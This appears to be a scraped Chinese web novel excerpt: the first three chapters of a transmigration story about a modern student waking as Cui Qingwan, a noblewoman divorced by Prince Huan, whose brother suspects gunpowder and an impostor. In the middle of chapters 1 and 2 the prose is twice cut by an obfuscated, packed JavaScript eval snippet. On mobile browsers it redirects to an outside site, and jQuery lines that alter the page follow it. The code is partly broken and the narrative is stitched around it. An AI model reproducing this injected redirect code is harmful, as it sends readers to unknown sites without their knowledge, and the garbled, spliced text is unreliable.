《槐火》
1. 恰逢其会
典雅的红木榻上,纱幔半遮,一女子松松垮垮地绾着发髻,只着浅黄色兰花绣纹的里衣半倚着身子,满脸的生无可恋,而身边人却还在喋喋不休。
“崔清婉”瞟了一眼在榻前不断踱步的侍女,桃面杏目,乌发彩衣,明明是足够机灵的模样,怎么就这么没眼力劲儿呢?
“被休一事我知晓四娘定是受了打击,但现在不是意志消沉的时候。郡王休妻本就是大事,可桓王未曾禀明圣人,也未曾告知崔家就擅自做了主,现在京城里早已是议论纷纷。自然,有说四娘不是的,也有指责桓王的。”
那侍女虽是十七八的模样,说起话来却是清晰缜密、思量有度,只是她一口一个“四娘”,听得人心生烦躁,让倚在榻上的“四娘”本人更是忍不住撇了撇嘴角。
“大郎君一听说四娘被休回家,当夜便下令府中仆从不许多生口舌,只当四娘还是未出阁的娘子,绝不许任何人轻看了四娘。更别说二郎君、三郎君,就连远嫁余杭郡的大娘子和荥阳郡的二娘子也在这几日里加急送来书信关怀四娘。”
“崔清婉”眉尾抽动,显然是对这突来的兄弟姐妹们有些不适,而且她也不知这崔家一大家子是真的亲近还是见了面只点个头问好的交情,所以只能在脑中将所有应对的方式都假设了一遍。
看着榻前还在不停言语的侍女,“崔清婉”无奈地叹了口气。
这姑娘是根本没给自己留一点儿插话的余地啊……
“只是那夜四娘从桓王府离身时,不知怎的竟被神雷击中,此番劫难也多亏是四娘才逢凶化吉,现下虽说已昏迷了半月有余,可眼见着四娘还是日渐康复了起来。”
“听闻圣人知晓此事后,也曾在早朝间问大郎君有何见解。大郎君只说‘天子尚且不知,想必非天罚也’,而后圣人未再多言,只是前些日突地下了旨意,说四娘虽和桓王两宽,但念在昔日情分上,仍赐四娘正三品云中郡夫人的身份。”
嗯?!
听到此言,“崔清婉”本涣散走神的目光忽得一亮。
正三品郡夫人?
这是有编——啊不不不。
咳咳,总之这意思是说自己还有俸禄可拿?可以可以,这样看来目前这个身份大概是经济上已然独立,多半能少些约束,但不知正经办起事来有多大用,就怕只是个荣誉头衔。
啊——拜托——我想回家——我讨厌陌生环境啊——
坦白说,她也做过那种天选之女的美梦,什么穿越后呼风唤雨、肆意潇洒,或者美男无数,尽都拜倒自己石榴裙下。
可真走入现实,她只是个平平无奇的大学生,还是有点社恐的那种。
原来的日子里,她可是连尝试一家新店都会预先在脑海中排练过很多遍,她对社交也不能说是排斥,只能说是没那么渴望,她也有一些兴趣爱好,不过大多是泛而不精,要说有一点好,那就是她算得上豁达,她并不会怨天尤人,也不会得过且过,她接受了自己的平凡,也在认真地过着平凡的生活。
而此时此刻,她已然是尽了全力地保持理智冷静,毕竟只有天晓得这一睁眼就完全是陌生环境的处境有多难为她。
啊……坚强,必须坚强,就算崩溃也不是现在,先搞清楚情况最要紧。
“崔清婉”在衣袖地遮掩下狠狠掐了一把自己的大腿,随后她立刻提吸一口气,竭力压制住涌上鼻腔的酸涩。
第三遍确认了……确实不是梦……
“对了对了,还有一事,”那踱步的侍女忽地站住,一抚掌作恍然大悟状,她看向榻上走神的人儿,正欲说些什么,又是一怔,“嗯?四娘怎么了,是不是又有什么地方不舒服?”
该死!这极其敏锐的观察力!
坐靠在榻上的人儿连忙收起自己的杂思,目光一垂间便换了种神态,她恰到好处地装出一副病弱温和模样,然后怯怯一笑。
“无事,只是刚刚打了个哈欠,请你接着说。”
“噢,那四娘有什么不适定要及时和我说,四娘重伤初愈,实在马虎不得……”
侍女懵懵地点点头,被自家娘子的客气言语哄得一愣一愣的。
“另外,还有一事,之前三娘子曾私下交代过我,如今四娘醒了,我想我也得知会四娘。”
“三娘子说,此后若是有外人探望,接见时万不得面露忿忿之色,只是凄然心死便可,原为近日流言四起,三娘子不忍四娘被百姓无故编排,故而在暗中安排,想来京城中不日便会传起‘桓王宠妾行巫蛊之术以图谋正室之位’的消息。”
……啊?
“崔清婉”难以抑制地猛眨眼,试图用无声的举止来表达自己内心激荡起的疑惑。
这到底是什么情况?
若说流言四起,她大概是能想到,但这个安排是怎么回事,祸水东引?莫非是怕坏了崔家名声所以才出此谋划?将天雷说是巫术,让无端灾祸变成人为暗算,这样一来,自己便是受害人形象,更能博取一些怜爱?
可是……
不是说巫蛊之术在古代很容易被彻查并严惩吗?这样散布混淆视听的消息是不是不太道德……啊!该不会这就是崔家对桓王府的报复吧?
目光一转,“崔清婉”似乎对崔府的行事逻辑有所了解。
自然,她也不是发自内心认可了这种行为,但她也没办法阻止,或者说,她实在没心情去掺和这件事,毕竟她自己都算泥菩萨过江——自身难保了。
不论眼前这位侍女如何剖析现今场面的复杂,在她眼里,这就像一场戏剧,而她不过是个看客,只是碰巧硬被挤上了台。
“崔清婉”侧着脑袋叹口气,心不在焉地看了眼身旁的纱幔,许是无聊,她伸手拨弄了一下垂着的流苏,瞧看上面缀着的珠子相互敲击、摇晃,她觉得自己也是其中一颗,被莫名的力量冲撞着,怎么也安稳不下来。
但说是不安稳,其实也没有那么慌张,只是心情很莫名地悬浮着,有种不真切感,就像是毕业后的第一个夜晚,人总是懵懂的,暂且察觉不到即将袭来的惆怅与悲伤。
她不是崔清婉,她也不是这个世界的人,她不过是恢复意识的刹那,睁眼间就发现世界变了个模样——其实,她隐约还记得,大概是八九点钟的夜里,她听到手机响动,然后瞄到手机锁屏上推送来所谓“七星连珠”的消息,不过虽然她习惯性熬夜,到底也没打算夜观星象,只是当时觉得还不算太晚,出门搞点零嘴也不会有太重的负罪感,但没想到这一出门,就被骤起狂风刮来的塑料袋子糊了脸,随后她便在挣扎间因为缺氧而昏了过去。
悲惨,又很好笑。
回想起昏迷前状况,她真的忍不住在心底翻了个白眼。
淦!这就是不查监控都没人相信的塑料袋杀人事件啊!
乱丢垃圾是没有好果子吃的!
但是给谁吃就不一定了……
“天杀的!乱丢垃圾的废物就该被罚去体验一天环卫工人的辛苦生活!”
“崔清婉”越想越气,竟一时没忍住将心底话嘟囔着说出口。
“四娘说什么?桓王与宫人怎么?”
站在不远处的侍女没有听清,忙着靠近榻边蹲下身来,生怕怠慢了自家娇怜的四娘子。
“唔!咳,只是想起往事,没什么打紧的。”
“崔清婉”清咳一声掩饰了过去,面对侍女的疑问,她总不能说“腐朽奢靡的封建地主阶级不配和劳动人民相提并论”吧?不过就算说了大概也没什么事,这个时代应该还没人听得懂这几个词。
唉,成长环境不同,所以精神共鸣点也不同,在这个世界真是孤单。
算了,烦恼这个干什么,还是想办法搞清楚情况,找到回去的线索要紧。
“嗯……你是——云岫?”
“崔清婉”唤得有些迟疑,距她醒来不足半日,她能在对方絮絮叨叨的讲述中了解所处境况已实属不易,这名字嘛,自然是记得不太确定。
“是,是我的名儿,四娘还记得。”
精明灵巧的侍女听罢她的呼唤,眉目瞬间舒展,那蹲着的身子又向前倾了倾,朝着“崔清婉”再靠近了些。
“你这样费心嘱托我,想必平日里我也很受你的细心照料,所以我得先谢谢你。”
榻上的女子略微垂眸,小心着思量开口,而这份谨慎神色表现出来倒颇为柔弱,有几分世家女儿该有的矜持。
“只是很可惜,现今我大梦初醒,回想往事竟甚是迟钝,有好些事记不起来了,还希望你不要介意,别与我生分了。”
正在“崔清婉”琢磨着最后一句话的用词,只听得“扑通”一声,这位名唤云岫的侍女直直跪在地上行了大礼。
“崔清婉”身躯一震,显然是被惊了一跳。
嚯——
寿命-1
下意识冒出这么个念头,“崔清婉”自跪拜的侍女身上移开目光,实话讲,她是真想立刻从榻上起身然后同这位侍女对拜还礼。
果然,她还是装不成这个时代的人,就单论跪拜这一件事,她怎么想都觉得接受不了。
“四娘这话让云岫如何担待得了?我与四娘一同长大,照顾四娘本就是我分内之事。如今四娘有了这样的遭遇,我更是心疼四娘!先前大郎君请来的医官曾说,此般劫难,四娘若能醒来,惊吓之余难保不会有离魂症,若有了那般症状,只得多加宽慰,万不能再受刺激。古人云‘大难不死,必有后福’,现如今四娘已是逢凶化吉,即便记不得往事又能如何?我只愿四娘能安心在府内休养,有什么不解的、记不起来的事只管问我便好,可不要在心底有其他顾虑。”
一腔肺腑之言,听得人心潮澎湃,而榻上靠坐的“崔清婉”也抿紧双唇,似乎感动得难以言说。
不过,只有她自己明白,她只是在尽力屏住呼吸,她暗中捏着被角的手指肯定已经发白,尽管她面上还挂着得体浅笑,但她心中却是克制再克制的C语言。
WOC!
这,这这这……
这是穿越系统新推出的配套人型智能AI吗?
现在的穿越界这么贴心?还自带辞典解说?甚至连我没有原身记忆的古怪也编好了理由?
不是,事出反常必有妖,我——
……
?
“崔清婉”本在心底进行着大段大段的吐槽,可却在想到“我XXX聪明绝顶绝不会被区区新手大礼包迷惑”时一下怔住,此刻她才后知后觉地发现一件事——她无论如何也回忆不起自己本来的名字,那个专属于她自己的名字。
明明脑中对以往的经历还记得清清楚楚,她甚至还能回忆起上学时在课上偷吃的零食牌子,连语文练习册中某几段阅读理解的原文都还记得,但可唯独忘记了自己的名字,还有……自己的模样。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877267|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“崔清婉”一下子泄了气,在漫无边际的绝望间她感到眼前有些发黑。
她很肯定自己绝对不属于这个世界,她也确定自己在现代的生活是真实的,但她的过往就像是被什么东西刻意遮掩住,让她无法获取有关自己的关键信息。
她开始真切感觉到无助的恐慌了。
如果说自己除了名字与模样外什么都还记得,那说明这种情况就不是自身问题引起的。
可若是外人……真不敢深思。
试想想,自己的记忆可以任人拨动支配,那自己还会是自己吗?难道自己不过是他人的傀儡,自己的一生也不过由他人肆意捏造……
够了!
不能再想下去了,想得太多只会让自己怀疑自己的存在。
“崔清婉”此时又有点庆幸她还保留有关“自我”的认知,毕竟,名字暂且可以看做是个代号搁置一旁,即便一时找不到,自己尚且仍是自己。
可……
若是一辈子都寻不到原来的名字,而自己又得顶着他人的名号过活,那自己还真的完全是自己吗?
想到此处,她目光一沉。
不行,不论如何,她绝对不是崔清婉,她要找到自己的名字,她不会成为这具身体的填充物,她要作为原本的自己活下去。
“四娘?四娘!”
“嗯……啊!”
一时想得入神,这下突地被云岫唤醒,她也是惊了一下。
再回看过去,名唤云岫的侍女已凑近在自己眼前,杏目中满是关怀。
“四娘可有什么不适?四娘别总是藏着掖着不说,这样凭谁见了也觉得心疼。”
见侍女这般,她先是一愣,随即扯出一张略有勉强的浅笑,目光低垂间,那面上像是少了些客套礼貌,多添了丝亲近。
“总觉得有什么要紧事忘记问你,可细细思索时,又一时记不起。说起来,如今是什么年号,此地所在又是哪座城池?另外……府中大郎呃,大哥哥他们可知道我现今情况?兴许我确实有那离魂症,我说不准,只是真的记不起曾经的事了。”
“那四娘心中定然很是害怕,四娘别急,四娘不知道的,我会一一解答,”云岫面上尽显宽慰之意,言语间,那双明亮的眼睛又涌出点点泪光,“如今是景龙三年,此间是我朝鲤泮的都城——栖凤城,四娘是崔家的幺女,也是昔日桓王妃。如今四娘醒来不足半日,我已打发小厮前去各处通知在京的郎君娘子,但详细情况并未言说,只是托小厮告知各位,说四娘的情况并不算差,或者说,比预想的还要好些。”
景龙三年……鲤泮……栖凤城……
一番搜索,脑中并没有对应的知识点浮现,难道是她读得书太少,这才一无所知?或者,这是另一处并行的时空?
“崔清婉”抬起眼眸再次向四周一番打量,明明古色古韵,却又有十足的陌生感……好嘛,她也不是鉴宝专家,她看不懂的。
有些气馁,她讪讪地收回目光,只能接着对方的话继续问道。
“比预想的好些?这我倒是不太明白了。”
她支起胳膊,将身子撑了起来挪挪着力点。边上的云岫见了,忙是护着,又是塞靠枕,又是盖被子的,生怕自家四娘有一丝的不舒服。
看着为自己忙碌的侍女,“崔清婉”只能乖巧地眨眨眼,表达感谢。
“那日夜里,我因帮四娘处理贴身物件儿未能紧随身边,等我出了桓王府顺着四娘回崔府的路行走时,远远便见了雷击的一瞬……情况很是糟糕,先是来了巡夜的官兵们,随后便是桓王府的小厮,再然后便是接到消息驰马而来的郎君们。”
“四娘当时的模样很是骇人,但令人惊异的是,四娘尚有气息,桓王本想就近接娘子到王府医治,但三郎君冷着脸将四娘用披风裹了起来,随即便抱着四娘离开了。说起来还是四郎君机敏,一看四娘情况便立马在附近找了间民宅,说明情况后付了银两,这才让三郎君有了安置四娘的地方。”
“四娘在那间民宅待了三日,说不清是医官医术高超,还是上天真有怜悯之心,总之在这三天里,四娘日渐蜕变,到最后一日时,竟看不到一丁点儿被雷击后的模样……而后四娘伤情逐步稳定,纵然尚在昏迷,郎君们也敢下令搬离四娘回府里休养了。”
“只是四娘昏迷期间,京中风言四起,真是怎样胡扯的话都有,要不怎能传到圣人那边?不过各位郎君说了,哪怕四娘会昏迷一辈子,崔府也定照顾四娘一生。所以依四娘现今聪慧能言的样子,确实比预想的要好太多了。”
云岫有些话并未挑明说,但“崔清婉”隐隐能想到这副身体在当时是个什么模样。她也不好让对方取来镜子直接察看这副身体的面貌如何,只是垂下目光,不露痕迹地端详着自己的双手——手如柔夷,指若葱根,果然看不出一丁点儿受伤的痕迹。
“既如此,那随行的人马呢?就是那夜伴我回崔府的人们,他们是否也是这般变化呢?”
打量着这双纤纤玉手,“崔清婉”确实有些着迷,分明不是自己的身体,却又完全受自己控制,这莫名的违和感让她的目光难以抽离。
思绪纷飞间,她下意识问了句其他人的情况,却不想这一问,竟是满屋寂然。
“云——”
听不到回复,“崔清婉”再唤了一声便抬眼看向侍女,却不想,只这一眼,映回来的却只有满目悲戚……
2. 玄兔入夜来
虽说晚春的夜还是有些凉意,但当“崔清婉”被云岫塞了一个暖手炉时,不免还是一愣。
那丫头的性子也是极倔,说什么“重伤初愈”、“寒气入体”,硬是又往“崔清婉”的肩头上搭了件披风。尽管“崔清婉”一再保证自己有事会唤她,现如今只是想自己待会儿,但云岫死活不同意,好说歹说最终只应允守在屋外,留“崔清婉”一人待在屋内。
坐在靠近窗边的圈椅上,“崔清婉”盯着缝隙中的一抹夜空,心思却飘向了远方。
其实想想也知道了,即便崔清婉与桓王再无夫妻情分,但她仍是崔府的四娘子,是圣上亲封的郡夫人,怎会只有云岫一个贴身侍女呢?
即便云岫说是新挑选的婆子丫头还不够熟练,可崔府又不是什么小门小户,找几个合适的仆人总是不难的。云岫此时的行为,更像是不放心他人,只想一人负责起崔四娘的生活起居。
活像报复性的补偿……
唉,她也一定,在后怕吧。
拢了拢肩上的披风,“崔清婉”叹口气,目光一瞥便落在了那弯弯的银钩上,皎皎月色甚是通透,她不觉有些出神——白日里云岫那道悲戚的目光,她可能这一生都难以忘怀。
从桓王府出来的那队人马,除却已被偷梁换柱的“崔清婉”,活着的便只有云岫了。
崔家四娘子算是神迹再现、大难不死,可在他人眼中,崔清婉这个人总归是受过劫难的。于云岫而言,她更像是这场劫难的旁观者,尽管她一再表现得尽职尽责,可而今的“崔清婉”看得出来,这不过是在掩饰她的慌乱与内疚吧。
人就是这样的生物,留下来活着的那个,总是不自觉地承担所有死亡的责任。
其实就此刻的“崔清婉”而言,她并没有见到一地尸体的场面,即便在她灵魂原属的那个世界中,她也不曾见过,她似乎想象不出那个场景,那该是一种怎样的恐惧与哀痛?
她原本以为自己可以做到对这个世界上的一切都无动于衷,毕竟她不属于这里,她应该保有旁观者独有的冷漠,这样才会冷静且不动摇地找到回去的线索。
可当她对上云岫的那道目光时,那种悲伤,是毫无理由就撞击了她的内心的。
心中满是钝痛,仿佛被两块石板挤压蹂躏,呼吸也变得困难起来。
“崔清婉”坐靠在圈椅上,深深地吐了一口气,她想要缓减这种不适,却又无计可施。沉默片刻后,她收回遥望窗外的目光,落在了手中的暖炉上。
炉盖镂雕精美,那金属刻成网明明细如发丝却紧密连接毫不断裂,竟有些像今日午后见过的崔家族人们。
许是不想打扰崔清婉的静养,崔家人来时是约好一同的,这也使得这场会面并不枯燥冗长。
在京的人除却三郎君崔皓羿当值难归外,大郎君崔皓昌与二郎君崔皓然皆是携妻前来探望,三娘子崔清书也与四郎君崔皓月在稍后赶到。
其实自“崔清婉”一醒,原身的大嫂嫂与二嫂嫂便要前来,是她自己怕出了什么破绽所以让云岫先谢绝,待晚一些时一同接见。
言多必失这个道理她还是明白的,在如今这种情形下,沉默反而能保持最大程度的得体。只是即便如此,她还是为午后的会面诧异了一番。
崔家这样的高门大户,子女个个都算人中龙凤,可偏崔家大郎君崔皓昌是个跛子,简直让人难以置信。
能担任门下侍中一职,今日得见,一袭黛紫银丝仙鹤纹袍衫的崔皓昌确实一表人才,言谈举止更显其人正直稳重,至于他颇受圣人青睐,似乎也是理所应当。
且听云岫先前讲述,大嫂嫂乃是并州王家嫡女,性子又温良贤淑,自成婚后便与崔大郎君恩爱非常。不过,这家业两成越是风光,越是衬得崔皓昌的行动不便格外刺眼。
先不说那本是自己所附之身的长兄,单只说“崔清婉”自己,她可是受过现代教育的人,她最多会为对方残缺的原因而感到好奇,可她绝不会因对方跛脚的事实而流露出什么轻视的情绪。
难道是自己目光中的诧异太过明显?不然怎么会引来崔家二郎君一记冰冷的瞥视。
对,是冰冷的瞥视,就像看死去的仇人那般冰冷。
回想起崔皓然那个眼神,“崔清婉”还是不由得心下一颤。即便转瞬之间崔皓然便将目光变得柔和关切,但那抹因自己对崔皓昌跛脚好奇而透露出的寒意是切切实实存在过的。
不必多言,想必这位崔家二郎君在寻常生活里也一定以这样的目光逼退了不少试图询问崔皓昌跛脚原因的多嘴者。
崔皓然,崔家二郎君,如今三十有一,长得极为清秀白净,只是在崔大郎君伟岸魁梧的身姿映衬下,略显单薄。
或许是因为身居户部下属度支郎中,掌管全国财赋统计与支调,崔皓然的眼神中总有一种打量的犀利。人情往来、利益纠缠,或许他见识的官场远比一般人更加深刻吧。
但让人诧异的是,这样锋芒锐利的人竟会娶一位来自神农谷的医女为妻,且他还同意妻子在婚后经营病坊、治病救人,个中缘由果然很让人在意。
不过对于此时的“崔清婉”来说,这种不合时宜的好奇是可以被强制压下的,毕竟主线任务都没推进,支线任务接再多也没精力去清。
而至于崔家三娘子崔清书和四郎君崔皓月,“崔清婉”只知这二人尚未嫁娶,故而一同住在崔家旧宅中,也就是自己现今所在。
崔皓月嘛尚可理解,毕竟据云岫所言,他也就小崔清婉一个月,不过二十一二的年岁。而男子,即便成婚迟一些,也不会有人多嘴什么。
反而是崔清书,这位姐姐大原身三岁,且不说崔清婉与那桓王已经成婚四年有余,单就论崔清书的年纪,在这个世界也该婚嫁了。可这位姐姐不仅单身未嫁,甚至在午后的寒暄中也未见其对婚姻有任何的焦虑与不安,而在场的大郎君与二郎君也仅仅是嘱咐一句“顺心而为”后再无他话。
实话讲,“崔清婉”本人对崔清书的这种态度是非常佩服的,要知道在她原来的世界里,能顶住世俗眼光不去结婚的人也是少之又少。
在崔清婉原身的这一代子弟中,崔家本家的人只有他们兄弟姐妹八人,有嫡系也有直系,甚至四郎崔皓月还是在十一二岁时被旁系过继来的。
像崔家大娘子,属实是外嫁得早,即便是原来的崔清婉,也是没什么记忆。倒是崔大郎君因接管崔家时不过十三四岁,在自己弟妹的成长过程中扮演了不可或缺的角色,一句“长兄如父”还是担当得起的。
“所以呢,‘我’为什么会嫁于桓王?”
“崔清婉”的指尖轻敲手炉,有一下没一下的节奏让她歪了歪脑袋,独处的时光,她的神态总归还是放松了些。
回顾自己穿越来的契机,离不开的只有那一场天雷降罚,而要了解这出惨剧,更绕不开的便是桓王深夜休妻一事。
若只论崔家的家世,有皇族王室的人迎娶也不意外,毕竟世家大族的影响力在这时还称得上是可观,即便有大族一时为当权者所不喜,其家世根基也能换种方式影响当朝政局。
可还是不对劲,毕竟,桓王怎么能越过崔家三娘子就迎娶崔清婉?
难道是三娘子不愿意嫁人,甘愿一世孑然;又或者是,那桓王偏得看上原身,非要求娶原身呢?
不过后者的可能性应该小些,都是连夜休妻了,想必也看不上吧?总不能是夫妻了四年时间就相看两厌了吧?那这也太凄凉了。
罢了罢了,休妻原因似乎也不是自己该在意的,别因为自己附身在崔清婉身上就对这种事这么在意,自己要找的可是产生穿越这个结果的条件啊,淡定淡定。
……
嘶——该不会崔清婉被同妻了?
哇要是被同妻了那可真是让人火大!
不过,也不应该,这个时代的人们没那么对立,即便断袖,虽不能公开相守,但也不至于用一段假的婚姻来遮掩……
“崔清婉!”
“啊!!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877268|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“四娘怎么了?!”
窗外一声低喝,让走神的“崔清婉”身躯一震,直接从椅子上蹦了起来,而听到屋内动静,云岫也是猛地推门冲了进来。
“你——”
“崔清婉”站在一旁半躬着身子,那从暖炉上腾开的一只手正按揉着心口,缓解自己不受克制的大口喘息。
猛地一下被惊属实不好受,心跳得厉害,但也亏是不太好受,这才止住了她一句不太礼貌的话。
“四郎君!四郎君这是做什么!四娘才醒了一日,受不得惊吓,四郎君怎可像往日那般不稳重!”
云岫忙着凑上前去,一边帮崔清婉捋着胸口顺气,一边数落将半扇窗子推开的崔皓月。
“恕罪恕罪,还望四姐姐多加恕罪,是阿月无礼,阿月在此向四姐姐赔罪了。”
清爽朝气的声音透过窗户的宽缝向屋内人赔罪,余光里,那人动作礼数周全,却不知为何就是有些欠揍。
待气息平缓些,“崔清婉”抬眼认真打量——只见窗外男子肌肤白净、神清骨秀,尤其是一双星眸灵动飞扬,眉间浅痣又自带风流,在黛蓝色联珠团窠纹华服的映衬下尽显飘逸不凡。
明明说是与原身差了一个月的时间,可崔皓月面貌上却像十八九的少年,一时间,竟让“崔清婉”不好发作。
“无事,”脑中迅速整理思绪,“崔清婉”平息了一下自己的情绪,虽无笑意,却也不让自己黑着脸,只是半疏离地回复着,“夜渐深了,不知四弟这时找我有什么要紧事?”
“要紧事啊,”崔皓月见屋内人不动气,便将窗户开得更展了些,单手撑着脑袋支在窗框边上,“白天大哥与二哥同在,我实在不敢放肆,说来也没什么紧迫的,只是私心想着探望一下四姐姐的身体状况,方才见姐姐一跳,身体应该是好利索了。”
“托四弟洪福,不敢不好利索。”
听罢窗边人的调侃,“崔清婉”扯起不含半点喜悦的微笑看向那人,言语里是十足的回呛意味,惹得云岫都偷瞄了她好几眼。
“不敢不敢,阿月我打小福薄,这才父母俱亡只能被本家收留。”
窗边少年目光烁烁,笑意不及眼底,他盯着“崔清婉”不肯移开目光,颇有几分审视意味,再度开口时,他故意拖长语调,语气中满是莫名意味。
“而像姐姐这般起死回生的人,那才是真正的洪福。”
星眸弯弯回看屋内人,崔皓月的菩萨面上越显亲近,越是让屋内人感觉寒意满身。
他一定是知道什么!
“崔清婉”的心头闪过各种危险预警,她眯了眯眼,正视窗边人的打量。
坦白说,她是害怕崔家人识破她不是崔清婉原身一事的,她不敢想象会有怎样的后果。
可假的终究是假的,再怎么装也是假的。
如果对方真的得知内幕,她反而觉得没那么可怕了,她打心眼儿里对通过伪装他人身份而谨言慎行以得安稳生活这一行为不齿。倘若一会儿崔皓月真能说出个什么子丑寅卯来,她一定会摆明自己的身份,之后该怎样就怎样。
“云岫,窗外那般凉,还是快把四弟请进来。你也知我躺床上半月有余,人早就麻木了,如今有他探望,怎能不多叙叙旧来破闷儿呢?”
“诶?好,我这就请来。”
云岫略一施礼,便走出屋门绕到窗外请崔皓月进来。待这姐弟二人端坐在桌前,她忙着沏茶倒水,烛光和着透过窗纸的莹莹月光,竟衬托得眼前氛围很是融洽,方才之事像是从未发生过。
“云岫,劳烦你再端些糕点来,晚膳时我食得不多,如今有些饿了。”
“对!我也是,务必多端些,切记不要忘记我素来最喜爱的奶酪樱桃。”
“好好好,只要两位和和气气的,想吃什么都可以。”
见二人似乎是真的想要叙旧,云岫很是宠溺地应和着,忙退下去赶往厨房。然而她不会想到,就在她刚出院子一刹,屋内人已是剑拔弩张,就差打了起来。
3. 留书
待云岫离开,本与崔皓月相端坐着的崔清婉“蹭”地一下站了起来。
实话讲,起得有些猛,“崔清婉”有点头晕。
但这种时候要是晕了,那可就在气势上输了一大截。
在袖子的遮掩下,“崔清婉”暗暗用两根手指勾紧了桌沿,让自己看上去是那般的镇定自若。
“现下无人,四郎君有话不妨直说。”她抬抬下巴,看上去倒有几分坦然。
“嗯?你倒是很有胆量,敢与我这般讲话,”崔皓月没有看向站在一旁的女子,反而端起眼前茶盏,悠悠地品了一口茶,不知是故作高深,还是真的若有所思,“但也有理,你背后靠山可是桓王,紧扯着的那脉势力在眼下可算是火热得很……不过,你们想就此行为便能威胁崔家,未免太天真了些。”
弟弟,你在说什么?
难道这也和游戏设定似的,长得好看的必须说话云里雾里?
拜托了,我真的不想面对谜语人,心累啊……
“崔清婉”紧抿下唇,有些焦躁地挑了挑眉,眼前这人,好像说了什么信息,又好像什么都没说。
难道仅凭这样遮掩的态度,便要将自己的来历告知对方吗?这也未免太过草率。
啧,不行,这可不妥。
“威胁……崔家?”
既然现在什么都不是很清楚,那不如就随着他言语,反正能套出任何一句线索都不算亏。
“说话如此犹豫,怎么,难道还是我冤枉了你不成?”
还不等眼前人接着装傻,崔皓月便自顾自地说了起来。
“连夜休妻这种事,虽瞠目结舌,但由桓王做出,也不是不能。毕竟像那种肆意妄为,能在婚宴上纳祝贺官员侍女当小妾的荒诞之人,早就烂在骨子里了。但休妻之后偏要深夜‘送’四姐回府,还堂而皇之地让小厮通知崔家留京的所有人,这很难不让人怀疑,是有什么目的所在。”
啥?桓王是这种人?那自己所附原身一定是被迫嫁的人吧?一定是吧!除非这其中有……救赎爱情?
“崔清婉”不言语,脑中迅速分析崔皓月说的每个字眼。
“何况只凭云岫一面之词,便能令所有人都相信出自桓王府的人马是雷击所伤,实在巧妙。纵然半个京城的人都听到了响动,可桓王一定没想到,在那般大风的天气里,等我到时,还是嗅到了硝石的味道。”
“硝石?你是说……黑/火/药?”
听罢对方自顾自地言语,“崔清婉”愣了一下,有些迟疑地说道。
“是啊,黑/火/药,喂,你不会还要装糊涂吧?”
崔皓月放下手中的茶盏,侧过头看向“崔清婉”,眸中满是冰冷的戏谑。
“那我说得再直白些,倘若那夜,崔家人正好与这‘天雷’不约而至,你说,我崔家人是不是非死即伤呢?换言之,朝堂上下众人皆知,我大哥一向支持的是当朝太子……”
嗯?支持太子?所以这是朝堂站队问题?
“你是说,这次雷击是人为算计,而且是为了削弱东宫力量?”
“崔清婉”皱着眉头思索了一下对方所透露的关系,而后摇摇头。
“我不解,若真是如此,那火/药怎么会提前爆炸?像这种计划,随行人马该都是桓王的人,应当慎之又慎,怎么着也不会是如今这个局面。”
“对,我也正是纳闷,”崔皓月支起胳膊撑着脑袋,眉间浅痣随他的动作歪在一侧,不显端庄反添一丝轻蔑,他的目光紧盯着站在一旁的“崔清婉”,似要将后者看穿,“所以我在想,是不是途中你们的计划有变,比如,让你遭遇一场劫难,而后好换取崔家人的信任,然后通过崔家攻讦其他势力,待到将要功成时再来威胁崔家归顺——”
嗯……什么和什么啊?
“崔清婉”眉头一皱,就差露出地铁·老人·手机的表情了。
“停!”
她伸出手制止了崔皓月的言语,有些无奈。
“虽然我也没什么物证,但以上你说的这些,除却硝石一事尚有疑点,其他的怕不都是你脑补呃……是你臆测的吧?不说别的,单只说我是崔家四娘子,任桓王怎么算作是我的夫君呃……算作是我的前夫,我也没必要为了他害自己的家人吧?”
“崔清婉”自认自己的言辞没有逻辑问题,但坐在桌边的男子却发出一阵嘲笑让她不自信起来。
“哈,哈哈哈……”
崔皓月笑得轻狂,最后竟是胳膊也支撑不住,直接伏在桌边笑出声来。
啧!
“崔清婉”咂了下舌,心情不爽。
“你笑什么!”
听到身边女子的不悦,崔皓月止了笑声,他假意抹抹眼角并不存在的泪水,而后猛地转眸,以极其锐利的目光刺向“崔清婉”。
“我笑你事到如今还在演戏!”
“离魂症?受不得惊吓?这无非是在为你记不得任何有关崔家的事而开脱!”
“你不过是与我四姐姐的模样有几分相像罢了,脾性、习惯,你半点都没有四姐姐的样子!我想桓王费心找到你,再差你来,怕不是在暗示崔家,他拘禁了真正的四姐姐!哈,定是如此,否则大哥二哥他们何必陪你逢场作戏,还是一出手足情深的大戏!”
不像确实是不像,我又没有你们封建礼教的束缚,哪能表现得真像崔清婉,可这逢场作戏……
如此说来,似乎确实不太对劲。硝石味那样刺鼻,崔皓月闻得,其他人未必就一点儿也嗅不到,可崔家执意将舆论引导在巫蛊之术上,莫非真有什么隐情?
难道崔家人是想通过巫蛊之术来查找硝石来源?可崔三娘所造的谣言也看不出崔家有这方面的意思啊!古怪!十分古怪!
“崔清婉”垂下眸子思忖须臾,随即故作失落地看了眼崔皓月。
“既然都记不清过往,又怎么会有曾经的脾性?你怀疑我也是应当,可你说我不是崔家四娘,总得有个凭证,没来由地说这些话,怕是你自己都觉得唐突吧?”
